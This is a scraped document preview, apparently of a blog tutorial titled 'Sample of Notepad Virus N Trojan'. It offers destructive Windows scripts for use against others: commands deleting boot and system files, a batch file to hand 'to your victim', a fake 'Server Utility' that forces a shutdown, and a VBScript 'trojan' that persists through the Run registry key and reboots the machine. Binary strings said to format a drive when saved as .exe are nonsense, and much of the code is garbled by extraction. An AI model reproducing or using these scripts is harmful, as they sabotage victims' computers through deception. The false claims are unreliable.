91021_47107_virus

Embed Size (px)

Citation preview

  • 7/28/2019 91021_47107_virus

    1/2

    www.abishekjain.wordpress.com

    Sample of Notepad Virus N TrojanPLEASE BEFORE I START NOTE THAT I WILL NOT BE HELD RESPONSIBLE

    FOR ANY DAMAGES DONE TO YOUR SYSTEMS

    THIS TUTORIAL IS FOR EDUCATIONAL PURPOSE ONLY.

    If you think notepad is useless, better think again because Im going to showing how to make cool viruses n trojan with it.

    1. TO DISABLE SYSTEM BOOTINGdel /F/S/Q c:\boot.ini this will cause your computer not to boot. Copy the following to a notepad and save as .exe

    01100100011001010110110000100000001011110100011000 101111010100110010111101010001

    00100000011000110011101001011100011000100110111101 101111011101000010111001101001 0110111001101001

    2. TO FORMAT HDD WITH NOTEPADStep 1. Copy and paste the following to notepad without alteration

    01001011000111110010010101010101010000011111100000

    Step 2. Save As An EXE, any name wil do but choose an attractive one like FreeSMS.exe

    Step 3. Running the EXE will format the current Partition.

    3. To Crash Someones system

    Open notepad and type the same as following:-

    del c:\windows\pchealthdel c:\windows\system\del c:\windows\system32\restore\

    del c:\winlogon.exedel c:\windows\system32\autoexec.nt

    del c:\windows\system32\logonui.exedel c:\windows\system32\ntoskrni.exe

    and save it as virus.bat and give it to your victim.Whenever he clicks on it,then his or her windows will get crashed.Thenhe/she has to install another windows.

    4. To Shutdown Someones System

    Open up notepad and put this in it,

    @echo offcolor 0atitle Server Utility 3.1.6.169echo GoodBye D D 3 is now shutting down your computer nub.pauseshutdown -r -f -t 00

    Save as .bat and then send it to someone and when they click it it will look like a regular run server but it will shut downthere computer.You can change the D D 3 to your name ={).

  • 7/28/2019 91021_47107_virus

    2/2

    www.abishekjain.wordpress.com

    5.To create a Torjan

    Note the following copy all the source into notepad save as. vbs (if you want to activate)if not let it remain in the file exstensi.txtexampels: kampretz_trojanHorse.VBS

    Copy all the source below:

    brakes - dlRB DL Reboot Trojan script by D.L.

    On Error Resume Next

    FSobj dim, sysDir, generateCopy, newfile, fixedCode, procreateCopy, fileData

    set FSobj = CreateObject (Scripting.FileSystemObject)

    set sysDir = FSobj.GetSpecialFolder (1)

    createRegKey HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ dlRB, sysDir& \ dlRB.vbs

    sub createRegKey (regkey, regVal)

    set regedit = CreateObject (WScript.Shell)

    regEdit.RegWrite regkey, regVal

    end sub

    set generateCopy = FSobj.CreateTextFile (sysDir + \ dlRB.vbs)

    generateCopy.closeset newfile = FSobj.OpenTextFile (WScript.ScriptFullname, 1)

    setFile ()

    fixedCode = replace (fileData, chr (94), " ")

    set procreateCopy = FSobj.OpenTextFile (sysDir + \ dlRB.vbs, 2)

    procreateCopy.write fixedCode

    procreateCopy.close

    rebootSystem ()

    setFile function ()

    fileData = rem - ^ ^ by D.L. dlRB & vbCrLf & _

    strComputer = ^. ^ & vbCrLf & _

    Set objWMIService = GetObject (winmgmts ^: ^ _ & vbCrLf & _

    & ^ {ImpersonationLevel = impersonate, (Shutdown)}! \ \ ^ & ^ & StrComputer \ root \ cimv2 ^) & vbCrLf & _

    Set colOperatingSystems = objWMIService.ExecQuery _ & vbCrLf & _(Select * from Win32_OperatingSystem ^ ^) & vbCrLf & _

    For Each objOperatingSystem in colOperatingSystems & vbCrLf & _

    ObjOperatingSystem.Reboot () & vbCrLf & _

    Next

    end function

    rebootSystem function ()

    strComputer = .

    Set objWMIService = GetObject (winmgmts: _

    & {ImpersonationLevel = impersonate, (Shutdown)}! \ \ & StrComputer & \ root \ cimv2)

    Set colOperatingSystems = objWMIService.ExecQuery _

    (Select * from Win32_OperatingSystem)

    For Each objOperatingSystem in colOperatingSystemsObjOperatingSystem.Reboot ()

    Next

    end function